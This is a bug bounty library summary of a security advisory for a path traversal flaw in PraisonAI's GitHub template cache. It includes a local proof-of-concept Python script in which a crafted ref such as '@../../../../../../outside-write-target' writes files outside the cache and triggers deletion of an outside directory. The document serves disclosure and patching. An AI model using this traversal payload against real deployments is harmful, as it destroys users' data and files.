# PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion

PraisonAI joins unvalidated GitHub template ref/path into cache path, letting a crafted ref escape the cache root to write metadata and rmtree arbitrary directories.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: rexpository
- Disclosed: 2026-06-18
- CVE: CVE-2026-57113
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-f44v-7qgw-9gh9
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-f44v-7qgw-9gh9
- Tags: area:oss domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:high tech:python technique:source-review vuln:path-traversal

**Target:** Template cache path construction in praisonai/templates/cache.py via GitHub template URI ref
**Root cause:** GITHUB_PATTERN captures path and ref with broad regex and the cache layer joins them into the cache path without normalizing segments or verifying the resolved path stays under the cache root.
**Steps:**
1. Construct a GitHub template URI with a traversal ref: `github:attacker/repo/template@../../../../../../outside-write-target`
2. Load it via TemplateLoader.load(); cache.put() writes `.cache_meta.json` at the escaped path
3. Create a canary dir outside cache, then load a normal ref `github:attacker/repo/template@main` to establish the cache hierarchy
4. Load the traversal ref again; `shutil.rmtree(cache_path)` deletes the outside directory before recreating it
5. Verify outside metadata written True, outside canary gone, safe control canary intact
**How found:** Reporter read the resolver/cache code, noticed GITHUB_PATTERN returns path and ref verbatim and _get_cache_path joins them without normalization or commonpath check, then built a local PoV disabling network to confirm write and delete outside the cache root.
**Exploitation:** Attacker supplies a malicious GitHub template URI to a user or service; on load, the crafted ref escapes the cache root, writing `.cache_meta.json` outside and, once a normal cache entry exists for the same owner/repo/template prefix, deleting an attacker-chosen directory reachable by the process before replacing it with cache metadata.
**Escalation:** Two-stage: first load establishes cache hierarchy, second load triggers rmtree on the escaped path, enabling deletion of config/project/application data within process permissions.
**Insight:** When a cache key is built from remote identifiers (owner/repo/path/ref), the ref is the least-validated segment; test traversal there and check whether an existing cache entry triggers rmtree before the boundary check.

## Proof of concept (copied exactly from the original report)

**Local PoV script for cache path traversal**

```
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry

def loader(cache_dir):
    cache = TemplateCache(cache_dir=cache_dir)
    registry = TemplateRegistry(cache=cache, offline=False)
    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
        RuntimeError("network disabled")
    )
    return TemplateLoader(cache=cache, registry=registry)

with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
    root = Path(tmp)
    cache_dir = root / "cache" / "templates"

    write_target = root / "outside-write-target"
    loader(cache_dir).load(
        "github:attacker/repo/template@../../../../../../outside-write-target"
    )

    delete_target = root / "outside-delete-target"
    delete_target.mkdir()
    canary = delete_target / "canary.txt"
    canary.write_text("delete-me")

    ldr = loader(cache_dir)
    ldr.load("github:attacker/repo/template@main")
    ldr.load(
        "github:attacker/repo/template@../../../../../../outside-delete-target"
    )

    safe_target = root / "safe-control"
    safe_target.mkdir()
    safe_canary = safe_target / "canary.txt"
    safe_canary.write_text("must-remain")
    loader(root / "safe-cache" / "templates").load(
        "github:attacker/repo/template@main"
    )

    print("outside metadata written:", (write_target / ".cache_meta.json").exists())
    print("outside canary exists after malicious ref:", canary.exists())
    print("safe canary exists after normal ref:", safe_canary.exists())
```

